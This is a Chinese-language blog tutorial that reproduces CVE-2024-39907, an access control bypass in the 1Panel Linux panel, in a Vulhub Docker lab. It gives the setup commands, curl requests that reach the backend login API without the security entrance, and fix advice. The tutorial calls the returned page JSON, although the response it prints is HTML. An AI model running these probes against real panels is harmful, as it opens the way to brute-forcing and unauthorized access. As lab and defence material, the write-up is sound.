【Vulhub】1Panel 访问控制绕过实战指南 (CVE-2024-39907)

本文仅用于技术研究,禁止用于非法用途。
Author:枷锁

1Panel 访问控制绕过实战指南 (CVE-2024-39907)

本指南参考"77板烧鸡腿堡"实战思路,详细解析 1Panel 开源面板在特定版本(< v1.10.11-lts)中存在的安全入口绕过漏洞。

https://www.cnblogs.com/77burger/p/19484207

1. 漏洞背景与影响

1Panel 是一款使用 Go 语言开发的 Linux 面板。CVE-2024-39907 的核心问题在于:

  • 访问控制绕过 :攻击者无需通过面板随机生成的"安全入口"路径,即可直接调用后端 API 接口。这意味着前端设置的随机登录后缀(如 /s/random_string)在 API 层级未起到预期的防护作用。

2. 环境搭建 (Environment Setup)

在 Kali 或安装了 Docker 的环境中,执行以下步骤启动实验环境:

  1. 进入漏洞目录

    复制代码
    cd ~/Desktop/vulhub/1panel/CVE-2024-39907
  2. 启动容器

    复制代码
    sudo docker-compose up -d
  3. 获取登录信息(解决"暂无权限访问"问题)

    由于 1Panel 开启了安全入口,你不能直接访问 IP:端口。请执行以下命令获取完整的入口地址、用户名和密码

    • 首先获取容器 ID

      复制代码
      sudo docker ps
    • 执行 1Panel 管理命令 (假设容器名为 1panel):

      复制代码
      sudo docker exec -it 1panel 1pctl user-info

注意 :你看到的输出中会包含一个类似 http://IP:端口/xxxxx 的地址。必须使用带后缀的完整地址才能进入登录界面。

3. 手工复现 未授权调用后台 API

绕过原理分析

1Panel 的安全入口机制主要由前端路由或部分拦截器控制。在受影响版本中,后端 /api/v1/ 下的接口未强制校验请求是否来自于合法的安全入口 Session,导致 API 接口直接暴露在公网,攻击者可以跳过前端路径限制直接进行交互。

在kali攻击机执行curl -i http://10.0.0.247:10086/api/v1/auth/login(ip端口要改)

复制代码
┌──(kali㉿kali)-[~/Desktop/vulhub/1panel/CVE-2024-39907]
└─$ curl -i http://10.0.0.247:10086/api/v1/auth/login
HTTP/1.1 200 OK
Date: Wed, 21 Jan 2026 00:03:47 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked

<!DOCTYPE html>
<html>
    <head>
        <meta charset="UTF-8" />
        <meta name="robots" content="noindex,nofollow" />
        <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1" />
        <title>loading...</title>
      <script type="module" crossorigin src="/assets/js/index-67705135.js"></script>
      <link rel="stylesheet" href="/assets/css/index-8d3c7549.css">
    </head>
    <body>
        <div id="app">
            <style>
                html,
                body,
                #app {
                    width: 100%;
                    height: 100%;
                    padding: 0;
                    margin: 0;
                }
                .first-loading-wrap {
                    display: flex;
                    flex-direction: column;
                    align-items: center;
                    justify-content: center;
                    width: 100%;
                    height: 100%;
                }
                .first-loading-wrap > h1 {
                    font-size: 128px;
                }
                .first-loading-wrap .loading-wrap {
                    display: flex;
                    align-items: center;
                    justify-content: center;
                    padding: 98px;
                }
                .dot {
                    position: relative;
                    box-sizing: border-box;
                    display: inline-block;
                    width: 32px;
                    height: 32px;
                    font-size: 32px;
                    transform: rotate(45deg);
                    animation: ant-rotate 1.2s infinite linear;
                }
                .dot i {
                    position: absolute;
                    display: block;
                    width: 14px;
                    height: 14px;
                    background-color: #1890ff;
                    border-radius: 100%;
                    opacity: 0.3;
                    transform: scale(0.75);
                    transform-origin: 50% 50%;
                    animation: ant-spin-move 1s infinite linear alternate;
                }
                .dot i:nth-child(1) {
                    top: 0;
                    left: 0;
                }
                .dot i:nth-child(2) {
                    top: 0;
                    right: 0;
                    animation-delay: 0.4s;
                }
                .dot i:nth-child(3) {
                    right: 0;
                    bottom: 0;
                    animation-delay: 0.8s;
                }
                .dot i:nth-child(4) {
                    bottom: 0;
                    left: 0;
                    animation-delay: 1.2s;
                }
                @keyframes ant-rotate {
                    to {
                        transform: rotate(405deg);
                    }
                }
                @keyframes ant-spin-move {
                    to {
                        opacity: 1;
                    }
                }
            </style>
            <div class="first-loading-wrap">
                <div class="loading-wrap">
                    <span class="dot dot-spin">
                        <i></i>
                        <i></i>
                        <i></i>
                        <i></i>
                    </span>
                </div>
            </div>
        </div>
        
    </body>
</html>

返回JSON,说明API可访问。

未授权API访问验证

在不访问安全入口路径的情况下,直接使用 curl 向后端认证接口发送请求,观察后端的回应。

复制代码
curl -X POST http://10.0.0.247:10086/api/v1/auth/login \ -H "Content-Type: application/json" \ -d '{"username":"1panel","password":"1panel_password"}'

现象分析

  • 预期结果 :如果后端返回 code: 400 且附带详细的字段校验错误(例如 Key: 'Login.Language' Error...),说明请求已经成功穿透了入口屏障。
  • 结论 :400 报错是由 Go 后端的 Login 模型校验器抛出的,这证明请求已经进入了业务逻辑层(Auth Controller)。如果安全入口生效,请求应该在进入业务层之前就被拦截并返回 403 或重定向。

4. 总结与防御

  • 漏洞本质:该漏洞证明了 1Panel 的安全入口仅在应用层/前端层进行了形式上的限制,而未在 API 路由层级建立强制的访问控制过滤。
  • 风险评估:虽然仅凭此漏洞无法直接获取服务器权限,但它大幅降低了攻击门槛。攻击者可以绕过第一层防护,直接针对后台接口进行暴力破解、漏洞探测(如 SQL 注入等)或其他 API 滥用行为。

修复建议

  1. 升级版本:升级 1Panel 至最新稳定版(>= v1.10.11-lts)。
  2. 逻辑修复 :完善 API 层的安全入口校验逻辑,确保所有 /api/v1/* 接口在未经过安全入口路径校验前不被分发到业务控制器。
  3. 网络层限制:在面板前部署反向代理,仅允许特定的管理 IP 访问 API 接口。

5. 环境清理

复制代码
sudo docker compose down -v

宇宙级免责声明​​

🚨 重要声明:本文仅供合法授权下的安全研究与教育目的!🚨

1.合法授权:本文所述技术仅适用于已获得明确书面授权的目标或自己的靶场内系统。未经授权的渗透测试、漏洞扫描或暴力破解行为均属违法,可能导致法律后果(包括但不限于刑事指控、民事诉讼及巨额赔偿)。

2.道德约束:黑客精神的核心是建设而非破坏。请确保你的行为符合道德规范,仅用于提升系统安全性,而非恶意入侵、数据窃取或服务干扰。

3.风险自担:使用本文所述工具和技术时,你需自行承担所有风险。作者及发布平台不对任何滥用、误用或由此引发的法律问题负责。

4.合规性:确保你的测试符合当地及国际法律法规(如《计算机欺诈与滥用法案》(CFAA)、《通用数据保护条例》(GDPR)等)。必要时,咨询法律顾问。

5.最小影响原则:测试过程中应避免对目标系统造成破坏或服务中断。建议在非生产环境或沙箱环境中进行演练。

6.数据保护:不得访问、存储或泄露任何未授权的用户数据。如意外获取敏感信息,应立即报告相关方并删除。

7.免责范围:作者、平台及关联方明确拒绝承担因读者行为导致的任何直接、间接、附带或惩罚性损害责任。
🔐 安全研究的正确姿势:

✅ 先授权,再测试

✅ 只针对自己拥有或有权测试的系统

✅ 发现漏洞后,及时报告并协助修复

✅ 尊重隐私,不越界

⚠️ 警告:技术无善恶,人心有黑白。请明智选择你的道路。

希望这个教程对你有所帮助!记得负责任地进行安全测试。

相关推荐
久绊A2 小时前
混合云管理平台的 “隐形雷区”:越权与 XSS 漏洞的攻防之道
安全·web安全·云平台
NewCarRen2 小时前
汽车电子开发中功能安全和网络安全工程流程的协调
网络·安全
浅念-2 小时前
C++第一课
开发语言·c++·经验分享·笔记·学习·算法
kkoral2 小时前
【FFmpeg 智慧园区场景应用】2.自动化处理 Shell 脚本
运维·ffmpeg·自动化
世界尽头与你2 小时前
CVE-2025-14847_ MongoDB 未授权内存泄露漏洞
数据库·安全·mongodb·网络安全·渗透测试
charlie1145141912 小时前
现代嵌入式C++教程:对象池(Object Pool)模式
开发语言·c++·学习·算法·嵌入式·现代c++·工程实践
小丁努力不焦虑2 小时前
你在以前遇到了什么困难你又是如何解决的?
学习
我命由我123452 小时前
Android Studio - Android Studio 中的 View Live Telemetry
经验分享·学习·android studio·学习方法·android jetpack·android-studio·android runtime
Ghost Face...2 小时前
SoC启动流程详解:从Bootrom到多核负载均衡
运维·负载均衡